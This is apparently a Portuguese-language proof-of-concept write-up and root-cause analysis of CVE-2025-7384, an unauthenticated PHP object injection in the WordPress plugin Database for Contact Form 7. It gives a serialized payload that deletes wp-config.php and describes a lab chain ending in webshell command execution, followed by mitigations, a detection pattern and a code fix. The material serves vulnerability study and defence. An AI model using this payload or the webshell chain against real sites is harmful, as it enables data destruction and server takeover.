
Exploit PoC e análise de causa raiz para uma injeção de objeto PHP crítica não autenticada no WordPress Database for Contact Form 7, que leva a RCE por meio de exclusão arbitrária de arquivos.
Plugin: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (Crítico)
CWE: CWE-502 — Desserialização de Dados Não Confiáveis
Requisito de Autenticação: Nenhum (Não autenticado)
Impacto: Execução Remota de Código
O plugin "Database for Contact Form 7" (slug: contact-form-entries) versão 1.4.3 e anteriores contém uma vulnerabilidade de Injeção de Objeto PHP. Quando um administrador do WordPress visualiza um registro (entrada) de formulário no painel administrativo, o plugin chama a função maybe_unserialize() diretamente em dados enviados por um usuário não autenticado por meio do Contact Form 7, sem controlar a lista de classes permitidas para instanciar.
Um atacante não precisa fazer login — basta enviar um formulário de contato comum inserindo um objeto PHP serializado em qualquer campo do formulário. Esses dados são armazenados crus no banco de dados. Quando um administrador abre para visualizar essa entrada, a função de desserialização instancia um objeto da escolha do atacante, acionando métodos mágicos como __destruct() ou __wakeup() → executando comportamento arbitrário dependendo dos gadgets POP disponíveis no ambiente WordPress.
Nível de Severidade: Com um gadget POP adequado (por exemplo, uma classe cujo método
__destruct()chamaunlink()), um atacante pode excluir o arquivowp-config.php, revertendo o WordPress para a tela de instalação inicial → reinstalando com uma conta de administrador controlada pelo atacante → instalando um plugin contendo um webshell → alcançando Execução Remota de Código (RCE) total no servidor.
| Atributo | Valor |
|---|---|
| ID CVE | CVE-2025-7384 |
| Pontuação CVSS | 9.8 (Crítico) |
| CWE | CWE-502 — Desserialização de Dados Não Confiáveis |
| Plugin Afetado | contact-form-entries (Database for Contact Form 7) ≤ 1.4.3 |
| Requisito de Autenticação | Nenhum — qualquer pessoa que envie um formulário CF7 pode injetar payload |
| Condição de Acionamento | O administrador visualiza a entrada injetada no painel administrativo |
| Impacto Máximo | Execução Remota de Código Não Autenticada |
| Versão Corrigida | 1.4.4+ (substitui unserialize por json_decode ou allowed_classes: false) |
O PHP usa serialize() para converter um objeto em uma string de texto estruturada, e unserialize() para restaurar o objeto a partir dessa string. Quando unserialize() recebe dados de uma fonte não confiável (por exemplo, entrada do usuário), um atacante pode construir um objeto arbitrário pertencente a qualquer classe atualmente carregada na memória do PHP naquele momento.
Métodos especiais que o PHP invoca automaticamente durante o ciclo de vida de um objeto. Os mais importantes neste contexto:
__wakeup() — invocado imediatamente quando um objeto é desserializado__destruct() — invocado quando um objeto é destruído (sai do escopo ou a requisição termina)__toString() — invocado quando um objeto é convertido para stringUma técnica de encadear múltiplos métodos mágicos de classes existentes dentro da aplicação para construir uma sequência perigosa de comportamentos. O atacante não escreve novo código — ele apenas manipula as propriedades de objetos existentes para que, quando os métodos mágicos sejam executados, realizem ações não pretendidas pelos desenvolvedores.
maybe_unserialize() no WordPressUma função wrapper do núcleo do WordPress. Ela chama is_serialized() para verificar se uma string é dados serializados — se verdadeiro, chama unserialize() para restaurar o objeto. Problema: esta função não passa o parâmetro allowed_classes (disponível desde o PHP 7.0) para limitar quais classes são permitidas a instanciar.
Comece pesquisando em todo o código-fonte do plugin para localizar funções de desserialização — estas são as funções mais perigosas em PHP, pois podem levar à Injeção de Objeto:
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

A saída revela múltiplos pontos de chamada para maybe_unserialize(), mais notavelmente dentro de includes/data.php na linha 545 na função verify_val():

// data.php lines 538-548
public function verify_val($string){
if(in_array(substr(ltrim($string),0,1), array('{','['))
&& in_array(substr(rtrim($string),-1), array('}',']'))
){
$val = json_decode($string, 1);
if(is_array($val)){ $string = $val; }
} else if(is_serialized($string)){ // line 544
$string = maybe_unserialize($string); // ★ line 545 — SINK
}
return $string;
}
Pergunta-chave: De onde vem a variável $string? Se ela vem de entrada do usuário sem filtragem → isto é uma vulnerabilidade.
Descubra onde verify_val() é invocada. Rastreie retroativamente no mesmo arquivo data.php:

// data.php lines 520-535
public function get_lead_detail($lead_id){
global $wpdb;
$table = $wpdb->prefix . 'vxcf_leads_detail';
$detail_arr = $wpdb->get_results(
$wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
ARRAY_A
);
foreach($detail_arr as $k => $v){
if(!empty($v['value'])){
$detail_arr[$k]['value'] = $this->verify_val($v['value']); // ← calls verify_val
}
}
return $detail_arr;
}
→ $string é exatamente $v['value'] — valores recuperados da tabela do banco de dados wp_vxcf_leads_detail. Esta função é chamada quando um administrador visualiza os detalhes de uma entrada de formulário.
Próxima pergunta: De onde vêm os dados dentro de wp_vxcf_leads_detail? Quem os escreve?
A partir do Passo 2, sabemos que os dados são puxados do banco de dados. Próxima pergunta: quem escreve dados nele? Pesquise por consultas INSERT dentro de data.php:
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

Abra o código da função create_lead() (linhas 85-103) para detalhes:

Nas linhas 98-99, o valor $v — que é o conteúdo de um campo de formulário (por exemplo, your-message) — é inserido diretamente no banco de dados via $wpdb->insert(). O plugin se conecta ao evento wpcf7_before_send_mail do Contact Form 7, então sempre que um usuário envia um formulário, todos os campos são armazenados crus.
Verificação adicional: o plugin usa sanitize_text_field() e sanitize_textarea_field() antes de salvar, mas essas duas funções apenas removem tags HTML e caracteres HTML especiais — um payload serializado como O:21:"VulnerableFileHandler":2:{...} não contém tags HTML e, portanto, passa completamente intacto.
Neste ponto, o fluxo completo está estabelecido:
Usuário não autenticado envia formulário CF7 (campo your-message contém objeto serializado)
↓ sanitize_text_field() — NÃO bloqueia strings serializadas
Salvo na tabela wp_vxcf_leads_detail (payload cru)
↓
Administrador visualiza entrada → get_lead_detail() → verify_val()
↓ is_serialized() retorna true
maybe_unserialize($string) — linha 545 → PHP instancia objeto arbitrário
↓
O __destruct() do objeto executa → realiza ação controlada pelo atacante
Causa Raiz: A função
maybe_unserialize()emdata.php:545é chamada em dados originados de entrada não autenticada do usuário, sem passarallowed_classes: false. Um atacante simplesmente precisa enviar um objeto PHP serializado através do campoyour-messagede um formulário CF7 → quando um administrador visualiza a entrada, o PHP instancia esse objeto e aciona o método mágico__destruct().
Para prova visual, defina um ponto de interrupção usando Xdebug na linha 545 de data.php. Após injetar o payload via formulário e fazer o administrador visualizar a entrada, o depurador pausa exatamente em maybe_unserialize():

Painel de Variáveis exibe $string contendo o payload do atacante:
$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → o payload viajou do formulário → banco de dados → função de desserialização sem ser bloqueadoLinha de Execução:
$string=maybe_unserialize($string);Pilha de Chamadas mostra a sequência de chamadas de função:
vxcf_form_data->verify_val data.php:545
vxcf_form_data->get_entries data.php:388
vxcf_form::get_entries contact-form-entries.php:2682
vxcf_form_pages->entries_page plugin-pages.php:1017
...
WP_Hook->apply_filters class-wp-hook.php:324
WP_Hook->do_action class-wp-hook.php:348
→ Confirma o fluxo exato analisado: administrador visualiza entrada → get_entries() → verify_val() → maybe_unserialize().
A cadeia de ataque consiste em 5 estágios. O atacante só precisa executar o Estágio 1 (envio do formulário). Os Estágios 2-5 ocorrem automaticamente depois que um administrador visualiza a entrada.
O atacante envia um formulário CF7 com um objeto PHP serializado no campo de mensagem.
POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedbackyour-message contém: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}wp_vxcf_leads_detail — sanitize_text_field() não bloqueia strings serializadasO administrador abre a página Contact Form Entries → visualiza os detalhes da entrada → o plugin chama verify_val() → maybe_unserialize().
VulnerableFileHandler com file_path = "/var/www/html/wp-config.php" e cleanup = true__destruct() → unlink("/var/www/html/wp-config.php")O arquivo wp-config.php é excluído → o WordPress perde a conexão com o banco de dados.
http://target/ → redireciona automaticamente para /wp-admin/setup-config.php (tela de configuração inicial)O atacante reinstala o WordPress usando credenciais de banco de dados conhecidas (ou obtidas por força bruta).
Instalar um plugin contendo um webshell → executar comandos arbitrários do sistema.
/wp-content/plugins/shell/shell.php?cmd=iduid=33(www-data) gid=33(www-data) → RCE concluídaInicie o laboratório Docker contendo WordPress + plugin vulnerável:
cd CVE-2025-7384
docker-compose up --build -d
Aguarde cerca de 40 segundos até que os logs exibam LAB READY. Acesse http://localhost:8181 para verificar se o WordPress está em execução.
A partir da análise do código-fonte na Seção 3, sabemos:
data.php:545 — maybe_unserialize() nos valores dos campos do formuláriowp_vxcf_leads_detail — os dados vêm do formulário CF7sanitize_text_field() — não bloqueia strings serializadas→ Conclusão: basta enviar um objeto PHP serializado em qualquer campo do formulário CF7. Escolha your-message por ser uma área de texto, aceitar strings longas e ter menos validação de formato (diferente de your-email, que exige formato de e-mail).
Acesse http://localhost:8181/contact/, preencha o formulário da seguinte forma:
| Campo | Valor |
|---|---|
| Your name | dung |
| Your email | [email protected] |
| Subject | test inject |
| Your message | O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;} |

Explicação do Payload:
O:21:"VulnerableFileHandler" — instancia a classe VulnerableFileHandler (que possui __destruct() chamando unlink())s:9:"file_path";s:27:"/var/www/html/wp-config.php" — a propriedade file_path aponta para o arquivo alvo a ser excluídos:7:"cleanup";b:1 — a propriedade cleanup = true faz com que __destruct() execute unlink()Clique em Submit. O formulário mostra uma mensagem de erro de envio de e-mail (ou sucesso) — irrelevante, pois o plugin contact-form-entries já salvou todos os dados no banco de dados antes da entrega do e-mail.
Entre em http://localhost:8181/wp-admin (admin / admin123) → no menu esquerdo selecione CRM Entries → clique para visualizar a entrada recebida.

Este é o momento exato em que a execução atinge data.php:545 — o plugin busca o valor de your-message no banco de dados, a verificação is_serialized() retorna true, chama maybe_unserialize() → o PHP cria o objeto VulnerableFileHandler → a requisição termina, __destruct() é executado → unlink("/var/www/html/wp-config.php").
Navegue até http://localhost:8181/ no navegador → o WordPress redireciona para a página /wp-admin/setup-config.php (tela de configuração inicial) → o arquivo wp-config.php foi excluído com sucesso.

Com o wp-config.php excluído, o WordPress reverte para o estado não instalado. Passos do atacante:
Passo 1 — Reinstalar o WordPress:
Acesse http://localhost:8181/wp-admin/setup-config.php → insira as credenciais do banco de dados:
| Campo | Valor |
|---|---|
| Database Name | wordpress |
| Username | wpuser |
| Password | wppass |
| Database Host | db |
| Table Prefix | wp_ |
Clique em Submit → Execute a instalação → crie uma nova conta de administrador controlada pelo atacante.
Passo 2 — Enviar Webshell:
Entre no painel administrativo → Plugins → Adicionar Novo → Enviar Plugin → envie o arquivo system-health.zip (ou system-monitor.zip).

Envio e Ativação bem-sucedidos.
Passo 3 — Executar Comandos (RCE):
Acesse: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

Saída: uid=33(www-data) gid=33(www-data) → Execução Remota de Código Concluída
Acesse: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

Saída: www-data → Execução Remota de Código Concluída
| Métrica CVSS | Valor | Explicação |
|---|---|---|
| Vetor de Ataque | Rede | Explorado via HTTP, sem necessidade de acesso físico |
| Complexidade do Ataque | Baixa | Requer apenas o envio de 1 requisição POST contendo payload |
| Privilégios Necessários | Nenhum | Nenhuma autenticação necessária — formulário CF7 aberto ao público |
| Interação do Usuário | Nenhuma* | O administrador visualiza entradas durante o fluxo de trabalho rotineiro |
| Confidencialidade | Alta | RCE permite ler qualquer arquivo no servidor |
| Integridade | Alta | RCE permite escrever/modificar qualquer arquivo |
| Disponibilidade | Alta | Excluir wp-config.php derruba o site inteiro |
*Interação do Usuário: A NVD classifica como Nenhuma porque um administrador visualizar entradas de formulário é comportamento esperado, não uma interação anômala do usuário.
Não use maybe_unserialize() em dados fornecidos pelo usuário. Use json_decode() em vez disso quando for necessário armazenamento de dados estruturados.
Se a desserialização for estritamente necessária, forneça a opção allowed_classes: false (PHP 7.0+):
$data = unserialize($string, ['allowed_classes' => false]);
Isso impede o PHP de instanciar qualquer objeto — permitindo apenas tipos escalares e arrays.
/^[OaCis]:\d+/ (indicador de dados serializados).wp_vxcf_leads_detail em busca de entradas contendo strings no formato O:XX:"ClassName": — a presença indica tentativas de ataquewp-config.php tenha permissões de arquivo restritivas (440 ou 400) — reduzindo a probabilidade de exclusão pelo processo do servidor web// ANTES (vulnerável):
} else if(is_serialized($string)){
$string = maybe_unserialize($string);
}
// DEPOIS (corrigido):
} else if(is_serialized($string)){
$string = json_decode(json_encode(
unserialize($string, ['allowed_classes' => false])
), true);
}